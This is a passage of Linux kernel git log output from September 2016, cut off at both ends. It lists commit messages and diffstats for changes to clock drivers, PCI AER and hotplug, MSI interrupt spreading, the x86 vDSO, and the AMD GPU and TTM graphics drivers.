14:02:42 2016 +0800 clk: zx: register ZX296718 clocks The ZX296718 clocks are statically listed and registered. More clock will be added later. Signed-off-by: Jun Nie Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/zx296718-clk.txt | 35 + drivers/clk/zte/Makefile | 1 + drivers/clk/zte/clk-zx296718.c | 924 +++++++++++++++++++++ drivers/clk/zte/clk.h | 125 +++ include/dt-bindings/clock/zx296718-clock.h | 163 ++++ 5 files changed, 1248 insertions(+) commit 8d9a0860b75525e3cf240bc152bfdeaeb2e562a1 Author: Jun Nie Date: Tue Sep 6 14:02:41 2016 +0800 clk: zx: reform pll config info to ease code extension Add power down bit and pll lock bit in pll config structure to ease new SoC support. Signed-off-by: Jun Nie Signed-off-by: Stephen Boyd drivers/clk/zte/clk.c | 21 ++++++++++++--------- drivers/clk/zte/clk.h | 4 ++++ 2 files changed, 16 insertions(+), 9 deletions(-) commit 37179033fc98156ce5cd360ff658da3e1fb01a56 Merge: 78dc666 f2a89d3 Author: Arnd Bergmann Date: Wed Sep 14 22:48:29 2016 +0200 Merge branch 'dt/irq-fix' into next/dt64 * dt/irq-fix: arm64: dts: Fix broken architected timer interrupt trigger This resolves a non-obvious conflict between a bugfix from v4.8 and a cleanup for the exynos7 platform. commit 6e2e7c9fdae316bfb2724d2dbf230678d3f09092 Author: Markus Elfring Date: Wed Sep 14 20:26:05 2016 +0200 clk-kona-setup: Use kmalloc_array() in parent_process() A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Reviewed-by: Alex Elder [sboyd@codeaurora.org: Save a line] Signed-off-by: Stephen Boyd drivers/clk/bcm/clk-kona-setup.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7ece14175376051b18a9b97f0e6125cb8b864155 Author: Bjorn Helgaas Date: Tue Sep 6 16:24:37 2016 -0500 PCI/AER: Remove aerdriver.forceload kernel parameter Per the PCI Firmware spec, r3.0, sec 4.5.1, on ACPI systems, the OS must not use AER unless _OSC is present and _OSC grants AER control to the OS. The aerdriver.forceload kernel parameter was a way to enable Linux AER support on ACPI systems that lack _OSC or fail to grant control the the OS. Enabling Linux AER support when the firmware doesn't want us to is a recipe for problems, e.g., the firmware might be handling AER itself. Remove the aerdriver.forceload kernel parameter and related supporting code. Signed-off-by: Bjorn Helgaas Documentation/PCI/pcieaer-howto.txt | 22 +++++++++------------- drivers/pci/pcie/aer/aerdrv.c | 7 +------ drivers/pci/pcie/aer/aerdrv.h | 8 -------- drivers/pci/pcie/aer/aerdrv_core.c | 19 ------------------- 4 files changed, 10 insertions(+), 46 deletions(-) commit 9ff25e6b3eb0012297288dfa87930c7b62ef6ab1 Author: Bjorn Helgaas Date: Tue Sep 6 16:09:19 2016 -0500 PCI/AER: Remove aerdriver.nosourceid kernel parameter The aerdriver.nosourceid kernel parameter was intended for working around broken chipsets don't supply the source ID for AER events. We recently added PCI_BUS_FLAGS_NO_AERSID, which can be set by quirks for the same purpose. Remove the aerdriver.nosourceid kernel parameter. For anything other than debugging, asking users to find and use kernel parameters is a poor user experience. Instead, we should add PCI_BUS_FLAGS_NO_AERSID quirks for any hardware that needs it. Signed-off-by: Bjorn Helgaas Documentation/PCI/pcieaer-howto.txt | 4 ---- drivers/pci/pcie/aer/aerdrv_core.c | 12 ++++-------- 2 files changed, 4 insertions(+), 12 deletions(-) commit ee8d41e53efe14bfc5ea5866e1178b06d78a7c95 Author: Thomas Gleixner Date: Wed Sep 14 16:18:51 2016 +0200 pci/msi: Retrieve affinity for a vector Add a helper to get the affinity mask for a given PCI irq vector. For MSI or MSI-X vectors these are stored by the IRQ core, while for legacy interrupts we will always return cpu_possible_map. [hch: updated to follow the style of pci_irq_vector()] Signed-off-by: Thomas Gleixner Signed-off-by: Christoph Hellwig Cc: axboe@fb.com Cc: keith.busch@intel.com Cc: agordeev@redhat.com Cc: linux-block@vger.kernel.org Link: http://lkml.kernel.org/r/1473862739-15032-6-git-send-email-hch@lst.de Signed-off-by: Thomas Gleixner drivers/pci/msi.c | 31 +++++++++++++++++++++++++++++++ include/linux/pci.h | 6 ++++++ 2 files changed, 37 insertions(+) commit 44082fd6702fb12020967fd375f8bf6dd7c111bf Author: Thomas Gleixner Date: Wed Sep 14 16:18:50 2016 +0200 genirq/affinity: Remove old irq spread infrastructure No more users. Signed-off-by: Thomas Gleixner Cc: Christoph Hellwig Cc: axboe@fb.com Cc: keith.busch@intel.com Cc: agordeev@redhat.com Cc: linux-block@vger.kernel.org Link: http://lkml.kernel.org/r/1473862739-15032-5-git-send-email-hch@lst.de Signed-off-by: Thomas Gleixner include/linux/interrupt.h | 7 ------ kernel/irq/affinity.c | 58 ----------------------------------------------- 2 files changed, 65 deletions(-) commit e75eafb9b0395c338230b0eef2cc92ca8d20dee2 Author: Thomas Gleixner Date: Wed Sep 14 16:18:49 2016 +0200 genirq/msi: Switch to new irq spreading infrastructure Switch MSI over to the new spreading code. If a pci device contains a valid pointer to a cpumask, then this mask is used for spreading otherwise the online cpu mask is used. This allows a driver to restrict the spread to a subset of CPUs, e.g. cpus on a particular node. Signed-off-by: Thomas Gleixner Cc: Christoph Hellwig Cc: axboe@fb.com Cc: keith.busch@intel.com Cc: agordeev@redhat.com Cc: linux-block@vger.kernel.org Link: http://lkml.kernel.org/r/1473862739-15032-4-git-send-email-hch@lst.de Signed-off-by: Thomas Gleixner drivers/pci/msi.c | 128 +++++++++++++++++++++++++++++---------------------- kernel/irq/irqdesc.c | 31 ++++++------- 2 files changed, 87 insertions(+), 72 deletions(-) commit 34c3d9819fda464be4f1bec59b63353814f76c73 Author: Thomas Gleixner Date: Wed Sep 14 16:18:48 2016 +0200 genirq/affinity: Provide smarter irq spreading infrastructure The current irq spreading infrastructure is just looking at a cpumask and tries to spread the interrupts over the mask. Thats suboptimal as it does not take numa nodes into account. Change the logic so the interrupts are spread across numa nodes and inside the nodes. If there are more cpus than vectors per node, then we set the affinity to several cpus. If HT siblings are available we take that into account and try to set all siblings to a single vector. Signed-off-by: Thomas Gleixner Cc: Christoph Hellwig Cc: axboe@fb.com Cc: keith.busch@intel.com Cc: agordeev@redhat.com Cc: linux-block@vger.kernel.org Link: http://lkml.kernel.org/r/1473862739-15032-3-git-send-email-hch@lst.de include/linux/interrupt.h | 15 +++++ kernel/irq/affinity.c | 149 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 164 insertions(+) commit 28f4b04143c56135b1ca742fc64b664ed04de6a4 Author: Thomas Gleixner Date: Wed Sep 14 16:18:47 2016 +0200 genirq/msi: Add cpumask allocation to alloc_msi_entry For irq spreading want to store affinity masks in the msi_entry. Add the infrastructure for it. We allocate an array of cpumasks with an array size of the number of used vectors in the entry, so we can hand in the information per linux interrupt later. As we hand in the number of used vectors, we assign them right away. Convert all the call sites. Signed-off-by: Thomas Gleixner Cc: axboe@fb.com Cc: keith.busch@intel.com Cc: agordeev@redhat.com Cc: linux-block@vger.kernel.org Cc: Christoph Hellwig Link: http://lkml.kernel.org/r/1473862739-15032-2-git-send-email-hch@lst.de drivers/base/platform-msi.c | 3 +-- drivers/pci/msi.c | 6 ++---- drivers/staging/fsl-mc/bus/mc-msi.c | 3 +-- include/linux/msi.h | 5 +++-- kernel/irq/msi.c | 26 ++++++++++++++++++++++++-- 5 files changed, 31 insertions(+), 12 deletions(-) commit d74b62bc3241af8ebf5141f5b12e89d9d7f341e1 Merge: ed2bec0 385c859 12adfd8 0ffd374 489bb3d2 Author: Paul E. McKenney Date: Wed Sep 14 12:58:49 2016 -0700 Merge branches 'doc.2016.08.22c', 'exp.2016.08.22c', 'fixes.2016.09.14a', 'hotplug.2016.08.22c' and 'torture.2016.08.22c' into HEAD doc.2016.08.22c: Documentation updates exp.2016.08.22c: Expedited grace-period updates fixes.2016.09.14a: Miscellaneous fixes hotplug.2016.08.22c: CPU-hotplug changes torture.2016.08.22c: Torture-test changes commit 12adfd882c5f37548acaba4f043a158b3c54468b Author: Chris Wilson Date: Sat Jul 23 19:27:50 2016 +0100 list: Expand list_first_entry_or_null() Due to the use of READ_ONCE() in list_empty() the compiler cannot optimise !list_empty() ? list_first_entry() : NULL very well. By manually expanding list_first_entry_or_null() we can take advantage of the READ_ONCE() to avoid the list element changing under the test while the compiler can generate smaller code. Signed-off-by: Chris Wilson Cc: "Paul E. McKenney" Cc: Andrew Morton Cc: Dan Williams Cc: Jan Kara Cc: Josef Bacik Cc: linux-kernel@vger.kernel.org Signed-off-by: Paul E. McKenney include/linux/list.h | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 6846351052e685c2d1428e80ead2d7ca3d7ed913 Author: Dmitry Safonov Date: Mon Sep 5 16:33:08 2016 +0300 x86/signal: Add SA_{X32,IA32}_ABI sa_flags Introduce new flags that defines which ABI to use on creating sigframe. Those flags kernel will set according to sigaction syscall ABI, which set handler for the signal being delivered. So that will drop the dependency on TIF_IA32/TIF_X32 flags on signal deliver. Those flags will be used only under CONFIG_COMPAT. Similar way ARM uses sa_flags to differ in which mode deliver signal for 26-bit applications (look at SA_THIRYTWO). Signed-off-by: Dmitry Safonov Reviewed-by: Andy Lutomirski Cc: 0x7f454c46@gmail.com Cc: oleg@redhat.com Cc: linux-mm@kvack.org Cc: gorcunov@openvz.org Cc: xemul@virtuozzo.com Link: http://lkml.kernel.org/r/20160905133308.28234-7-dsafonov@virtuozzo.com Signed-off-by: Thomas Gleixner arch/x86/ia32/ia32_signal.c | 2 +- arch/x86/include/asm/fpu/signal.h | 6 ++++++ arch/x86/include/asm/signal.h | 4 ++++ arch/x86/kernel/signal.c | 20 +++++++++++--------- arch/x86/kernel/signal_compat.c | 34 +++++++++++++++++++++++++++++++--- kernel/signal.c | 7 +++++++ 6 files changed, 60 insertions(+), 13 deletions(-) commit cc87324b3dbb9bdf6916c7f479230db24c4aa309 Author: Dmitry Safonov Date: Mon Sep 5 16:33:07 2016 +0300 x86/ptrace: Down with test_thread_flag(TIF_IA32) As the task isn't executing at the moment of {GET,SET}REGS, return regset that corresponds to code selector, rather than value of TIF_IA32 flag. I.e. if we ptrace i386 elf binary that has just changed it's code selector to __USER_CS, than GET_REGS will return full x86_64 register set. Note, that this will work only if application has changed it's CS. If the application does 32-bit syscall with __USER_CS, ptrace will still return 64-bit register set. Which might be still confusing for tools that expect TS_COMPACT to be exposed [1, 2]. So this this change should make PTRACE_GETREGSET more reliable and this will be another step to drop TIF_{IA32,X32} flags. [1]: https://sourceforge.net/p/strace/mailman/message/30471411/ [2]: https://lkml.org/lkml/2012/1/18/320 Signed-off-by: Dmitry Safonov Cc: 0x7f454c46@gmail.com Cc: oleg@redhat.com Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: Pedro Alves Cc: gorcunov@openvz.org Cc: xemul@virtuozzo.com Link: http://lkml.kernel.org/r/20160905133308.28234-6-dsafonov@virtuozzo.com Signed-off-by: Thomas Gleixner arch/x86/kernel/ptrace.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 90954e7b940778478754452f1ec8b23ea9a9ad42 Author: Dmitry Safonov Date: Mon Sep 5 16:33:06 2016 +0300 x86/coredump: Use pr_reg size, rather that TIF_IA32 flag Killed PR_REG_SIZE and PR_REG_PTR macro as we can get regset size from regset view. I wish I could also kill PRSTATUS_SIZE nicely. Suggested-by: Oleg Nesterov Signed-off-by: Dmitry Safonov Cc: 0x7f454c46@gmail.com Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: gorcunov@openvz.org Cc: xemul@virtuozzo.com Link: http://lkml.kernel.org/r/20160905133308.28234-5-dsafonov@virtuozzo.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/compat.h | 8 ++++---- fs/binfmt_elf.c | 23 ++++++++--------------- 2 files changed, 12 insertions(+), 19 deletions(-) commit 2eefd8789698e89c4a5d610921dc3c1b66e3bd0d Author: Dmitry Safonov Date: Mon Sep 5 16:33:05 2016 +0300 x86/arch_prctl/vdso: Add ARCH_MAP_VDSO_* Add API to change vdso blob type with arch_prctl. As this is usefull only by needs of CRIU, expose this interface under CONFIG_CHECKPOINT_RESTORE. Signed-off-by: Dmitry Safonov Acked-by: Andy Lutomirski Cc: 0x7f454c46@gmail.com Cc: oleg@redhat.com Cc: linux-mm@kvack.org Cc: gorcunov@openvz.org Cc: xemul@virtuozzo.com Link: http://lkml.kernel.org/r/20160905133308.28234-4-dsafonov@virtuozzo.com Signed-off-by: Thomas Gleixner arch/x86/entry/vdso/vma.c | 45 ++++++++++++++++++++++++++++++--------- arch/x86/include/asm/vdso.h | 2 ++ arch/x86/include/uapi/asm/prctl.h | 6 ++++++ arch/x86/kernel/process_64.c | 25 ++++++++++++++++++++++ include/linux/mm.h | 2 ++ mm/mmap.c | 8 +++++++ 6 files changed, 78 insertions(+), 10 deletions(-) commit 576ebfefd37bd41e965787f60684c8e4b7f79457 Author: Dmitry Safonov Date: Mon Sep 5 16:33:04 2016 +0300 x86/vdso: Replace calculate_addr in map_vdso() with addr That will allow to specify address where to map vDSO blob. For the randomized vDSO mappings introduce map_vdso_randomized() which will simplify calls to map_vdso. Signed-off-by: Dmitry Safonov Acked-by: Andy Lutomirski Cc: 0x7f454c46@gmail.com Cc: oleg@redhat.com Cc: linux-mm@kvack.org Cc: gorcunov@openvz.org Cc: xemul@virtuozzo.com Link: http://lkml.kernel.org/r/20160905133308.28234-3-dsafonov@virtuozzo.com Signed-off-by: Thomas Gleixner arch/x86/entry/vdso/vma.c | 30 +++++++++++++++++------------- 1 file changed, 17 insertions(+), 13 deletions(-) commit e38447ee1f487eaccdbef4a61dc064f4ae94e2fa Author: Dmitry Safonov Date: Mon Sep 5 16:33:03 2016 +0300 x86/vdso: Unmap vdso blob on vvar mapping failure If remapping of vDSO blob failed on vvar mapping, we need to unmap previously mapped vDSO blob. Signed-off-by: Dmitry Safonov Acked-by: Andy Lutomirski Cc: 0x7f454c46@gmail.com Cc: oleg@redhat.com Cc: linux-mm@kvack.org Cc: gorcunov@openvz.org Cc: xemul@virtuozzo.com Link: http://lkml.kernel.org/r/20160905133308.28234-2-dsafonov@virtuozzo.com Signed-off-by: Thomas Gleixner arch/x86/entry/vdso/vma.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 29a654e59f3698d70d85e289fc5ce7261493bba2 Author: Bjorn Helgaas Date: Wed Sep 7 17:50:30 2016 -0500 PCI: pciehp: Remove useless pciehp_get_latch_status() calls Long ago, we updated a "switch_save" field based on the latch status. But switch_save was unused, and ed6cbcf2ac70 ("[PATCH] pciehp: miscellaneous cleanups") removed it. We no longer use the latch status, so remove calls to pciehp_get_latch_status(). No functional change intended. Tested-by: Lukas Wunner Signed-off-by: Bjorn Helgaas Reviewed-by: Mika Westerberg drivers/pci/hotplug/pciehp_ctrl.c | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) commit 6e49b304e379f93c8aa7ebb164628aec1209f371 Author: Bjorn Helgaas Date: Thu Sep 8 15:19:58 2016 -0500 PCI: pciehp: Clean up dmesg "Slot(%s)" messages Print slot name consistently as "Slot(%s)". I don't know whether that's ideal, but we can at least do it the same way all the time. No functional change intended. Tested-by: Lukas Wunner Signed-off-by: Bjorn Helgaas Reviewed-by: Mika Westerberg drivers/pci/hotplug/pciehp_ctrl.c | 56 +++++++++++++++++++-------------------- drivers/pci/hotplug/pciehp_hpc.c | 12 ++++----- 2 files changed, 33 insertions(+), 35 deletions(-) commit 4947793916e31ec0c4c56f979e2aff89d15480bf Author: Bjorn Helgaas Date: Thu Sep 8 15:15:24 2016 -0500 PCI: pciehp: Remove unnecessary guard In pcie_isr(), we return early if no status bits other than PCI_EXP_SLTSTA_CC are set. This was introduced by dbd79aed1aea ("pciehp: fix NULL dereference in interrupt handler"), but it is no longer necessary because all the subsequent pcie_isr() code is already predicated on a status bit being set. Remove the unnecessary test for ~PCI_EXP_SLTSTA_CC. No functional change intended. Tested-by: Lukas Wunner Signed-off-by: Bjorn Helgaas Reviewed-by: Mika Westerberg drivers/pci/hotplug/pciehp_hpc.c | 3 --- 1 file changed, 3 deletions(-) commit 69bd3c5b28e7c988886efb3c9a7614a612eef45d Author: Mayurkumar Patel Date: Tue Aug 23 08:58:51 2016 +0000 PCI: pciehp: Don't re-read Slot Status when handling surprise event Previously we read Slot Status when handling a surprise event. But Slot Status might have changed since we identified the event, and the event_type already tells us whether to enable or disable the slot, so there's no need to read it again. Remove handle_surprise_event() and queue the power work directly. [bhelgaas: changelog] Tested-by: Lukas Wunner Signed-off-by: Mayurkumar Patel Signed-off-by: Bjorn Helgaas Reviewed-by: Mika Westerberg Acked-by: Rajat Jain drivers/pci/hotplug/pciehp_ctrl.c | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) commit 0c923d1da394b96727b813d1e64412b72f1dc580 Author: Mayurkumar Patel Date: Fri Sep 9 09:10:17 2016 -0500 PCI: pciehp: Don't re-read Slot Status when queuing hotplug event Previously we read Slot Status to learn about hotplug events, then cleared the events, then re-read Slot Status to find out what happened. But Slot Status might have changed before the second read. Capture the Slot Status once before clearing the events. Also capture the Link Status if we had a link status change. [bhelgaas: changelog, split to separate patch] Tested-by: Lukas Wunner Signed-off-by: Mayurkumar Patel Signed-off-by: Bjorn Helgaas Reviewed-by: Mika Westerberg drivers/pci/hotplug/pciehp_hpc.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit fad214b0aa726ee21adcac4308d388efcb89d6bd Author: Mayurkumar Patel Date: Thu Sep 8 15:07:56 2016 -0500 PCI: pciehp: Process all hotplug events before looking for new ones Previously we accumulated hotplug events, then processed them, essentially like this: events = 0 do { status = read(Slot Status) status &= EVENT_MASK # only look at events events |= status # accumulate events write(Slot Status, events) # clear events } while (status) process events The problem is that as soon as we clear events in Slot Status, the hardware may send notifications for new events, and we lose information about the first events. For example, we might see two Presence Detect Changed events, but lose the fact that the slot was temporarily empty: read PCI_EXP_SLTSTA_PDC set, PCI_EXP_SLTSTA_PDS clear # slot empty write PCI_EXP_SLTSTA_PDC # clear PDC event read PCI_EXP_SLTSTA_PDC set, PCI_EXP_SLTSTA_PDS set # slot occupied The current code does not process a removal; it only processes the insertion, which fails because we didn't remove the original device. To avoid this problem, read Slot Status once and process all the events before reading it again, like this: do { read events clear events process events } while (events) [bhelgaas: changelog, add external loop around pciehp_isr()] Tested-by: Lukas Wunner Signed-off-by: Mayurkumar Patel Signed-off-by: Bjorn Helgaas Reviewed-by: Mika Westerberg drivers/pci/hotplug/pciehp_hpc.c | 58 ++++++++++++++++++++++------------------ 1 file changed, 32 insertions(+), 26 deletions(-) commit 70e8b40176c75d3544024e7c934720b11a8a11bf Author: Bjorn Helgaas Date: Thu Sep 8 16:43:40 2016 -0500 PCI: pciehp: Return IRQ_NONE when we can't read interrupt status After 1469d17dd341 ("PCI: pciehp: Handle invalid data when reading from non-existent devices"), we returned IRQ_HANDLED when we failed to read interrupt status from the bridge. I think it's better to return IRQ_NONE, as we do in other cases where there's no interrupt pending. This will facilitate refactoring the loop in pcie_isr(): we'll be able to call the ISR in a loop as long as it returns IRQ_HANDLED. Return IRQ_NONE if we couldn't read interrupt status. Tested-by: Lukas Wunner Signed-off-by: Bjorn Helgaas Reviewed-by: Mika Westerberg drivers/pci/hotplug/pciehp_hpc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 056472f1d1f5f63222dc745677829e124bfe7fb7 Author: Christian König Date: Mon Sep 12 16:08:52 2016 +0200 drm/amdgpu: use explicit limit for VRAM<->GTT moves Use an explicit limit when moving things around to force address space allocation. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 08291c5c2ea76af86b6a3d8ef78c60f3ef8a8413 Author: Christian König Date: Mon Sep 12 16:06:18 2016 +0200 drm/amdgpu: use explicit GTT limit for evictions This way the address space gets allocated immediately. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) commit 78ab0a38bfe0e02db6e619185dd4337fc97e3ffe Author: Christian König Date: Fri Sep 9 15:39:08 2016 +0200 drm/amdgpu: unbind GTT only when it is bound Doesn't make much sense to clear the GTT when it was never filled. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 3 +++ 1 file changed, 3 insertions(+) commit 9702d40dd3baa90e8f08b42a512fe76e2794f9bc Author: Christian König Date: Wed Sep 7 15:10:44 2016 +0200 drm/amdgpu: add AMDGPU_BO_INVALID_OFFSET An invalid offset to be used by custom VRAM/GGT manager when we don't have an offset for an BO. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_object.h | 2 ++ 2 files changed, 3 insertions(+) commit aa29040b437be9e4255062aa38bcbe7cb50da8c1 Author: Christian König Date: Fri Sep 9 11:21:43 2016 +0200 drm/amdgpu: validate size and offset of user fence BO We need to validate the offset to make sure that we don't write after the BO. Additional to that a page should be enough and can make address space handling much easier. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 7c732ea64993b9f37daff9bd95b552576304b6d9 Author: Christian König Date: Thu Sep 8 15:40:38 2016 +0200 drm/ttm: move placement structures into ttm_placement.h Makes more sense to keep that together. Signed-off-by: Christian König Reviewed-by: Chunming Zhou Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher include/drm/ttm/ttm_bo_api.h | 32 +------------------------------- include/drm/ttm/ttm_placement.h | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 36 insertions(+), 31 deletions(-) commit 08614da7041eb59baf729bdcf07c2dbd3d80c63e Author: Christian König Date: Thu Sep 8 15:30:33 2016 +0200 drm/ttm: remove unused placement flags Either never used or not used in quite a while. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher include/drm/ttm/ttm_placement.h | 11 ----------- 1 file changed, 11 deletions(-) commit 283cde69aa318f7b2eeb02a7c62b16f69e1d422a Author: Christian König Date: Mon Sep 12 13:34:37 2016 +0200 drm/ttm: rework handling of private mem types Instead of keeping a bunch of potentially unused flags, just define the start for private memory types and remove the rest. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.h | 12 ++++++------ drivers/gpu/drm/qxl/qxl_object.c | 8 ++++---- drivers/gpu/drm/qxl/qxl_ttm.c | 12 ++++++------ drivers/gpu/drm/vmwgfx/vmwgfx_drv.h | 8 ++++---- include/drm/ttm/ttm_placement.h | 16 ++-------------- 5 files changed, 22 insertions(+), 34 deletions(-) commit 5d98d0bcff64c9a76d21da9648881e14ed26fff6 Author: Christian König Date: Mon Sep 12 13:16:16 2016 +0200 drm/ttm: use ffs in ttm_mem_type_from_place A bit pointless to search for the first bit set manually. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher drivers/gpu/drm/ttm/ttm_bo.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 5756b1558eabdfb087aa9896250c6decd12bf872 Author: Alex Deucher Date: Wed Aug 31 17:29:51 2016 -0400 drm/radeon: handle runtime pm in fbcon (v2) Ported from nouveau. v2: re-enable runtime autosuspend in the error case Acked-by: Edward O'Callaghan Reviewed-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_fb.c | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 7c1fa1db54549a75250763c68afb150418085db1 Author: Alex Deucher Date: Sat Aug 27 12:37:22 2016 -0400 drm/amdgpu: handle runtime pm in fbcon (v2) Ported from nouveau. v2: re-enable runtime autosuspend in the error case Acked-by: Edward O'Callaghan Reviewed-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_fb.c | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 6861c837e28e1b1300a1b24ddab748c8ee50da3b Author: Alex Deucher Date: Tue Sep 13 00:06:07 2016 -0400 drm/amdgpu/si/dpm: fix symbol conflicts with radeon Acked-by: Huang Rui Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 287 +++++++++++++++--------------- drivers/gpu/drm/amd/amdgpu/si_smc.c | 37 ++-- drivers/gpu/drm/amd/amdgpu/sislands_smc.h | 30 ++-- 3 files changed, 181 insertions(+), 173 deletions(-) commit a1047777323cc5da8f59d738708f554937be3193 Author: Alex Deucher Date: Mon Sep 12 23:46:06 2016 -0400 drm/amdgpu/si/dpm: make a bunch of things static remnants of the port from radeon. Acked-by: Huang Rui Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 34 ++++++++++++++++------------------ 1 file changed, 16 insertions(+), 18 deletions(-) commit 5cd92f86f00f8d7823bd0794f7810222ce5f6d68 Author: Baoyou Xie Date: Tue Sep 6 15:17:48 2016 +0800 drm/amd/powerplay/polaris10: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/gpu/drm/amd/amdgpu/../powerplay/hwmgr/polaris10_clockpowergating.c:34:5: warning: no previous prototype for 'polaris10_phm_powerup_uvd' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/../powerplay/hwmgr/polaris10_thermal.c:428:5: warning: no previous prototype for 'tf_polaris10_thermal_setup_fan_table' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/../powerplay/hwmgr/polaris10_hwmgr.c:125:31: warning: no previous prototype for 'cast_phw_polaris10_power_state' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Reviewed-by: Alex Deucher Signed-off-by: Baoyou Xie Signed-off-by: Alex Deucher .../powerplay/hwmgr/polaris10_clockpowergating.c | 10 ++-- .../gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 63 ++++++++++++---------- .../drm/amd/powerplay/hwmgr/polaris10_thermal.c | 6 +-- 3 files changed, 44 insertions(+), 35 deletions(-) commit 812a4654bb1fcada740cd2c1e101fc3f98fb891a Author: Baoyou Xie Date: Tue Sep 6 14:16:28 2016 +0800 drm/amd/powerplay/fiji: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/gpu/drm/amd/amdgpu/../powerplay/hwmgr/fiji_hwmgr.c:1633:9: warning: no previous prototype for 'fiji_get_voltage_index' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/../powerplay/hwmgr/fiji_hwmgr.c:5412:5: warning: no previous prototype for 'fiji_check_states_equal' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/../powerplay/hwmgr/fiji_thermal.c:424:5: warning: no previous prototype for 'tf_fiji_thermal_setup_fan_table' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Reviewed-by: Christian König Signed-off-by: Baoyou Xie Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/fiji_hwmgr.c | 33 +++++++++++++--------- drivers/gpu/drm/amd/powerplay/hwmgr/fiji_thermal.c | 6 ++-- 2 files changed, 22 insertions(+), 17 deletions(-) commit 761c2e82054fda665bcdec95b9daf3d468c5fd5b Author: Baoyou Xie Date: Sat Sep 3 13:57:14 2016 +0800 drm/amdgpu: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/gpu/drm/amd/amdgpu/cz_smc.c:51:5: warning: no previous prototype for 'cz_send_msg_to_smc_async' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/cz_smc.c:143:5: warning: no previous prototype for 'cz_write_smc_sram_dword' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/iceland_smc.c:124:6: warning: no previous prototype for 'iceland_start_smc' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c:3926:6: warning: no previous prototype for 'gfx_v8_0_rlc_stop' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/amdgpu_job.c:94:6: warning: no previous prototype for 'amdgpu_job_free_cb' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Reviewed-by: Christian König Acked-by: Huang Rui Reviewed-by: Edward O'Callaghan Signed-off-by: Baoyou Xie Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_cgs.c | 4 ++-- drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_job.c | 2 +- drivers/gpu/drm/amd/amdgpu/cz_smc.c | 4 ++-- drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 2 +- drivers/gpu/drm/amd/amdgpu/iceland_smc.c | 8 ++++---- 6 files changed, 11 insertions(+), 11 deletions(-) commit 9ca91fdd13ad877f4a303f6fb971aecbea4b67ae Author: Baoyou Xie Date: Sat Sep 3 14:01:41 2016 +0800 drm/amdgpu: add missing header dependencies We get a few warnings when building kernel with W=1: 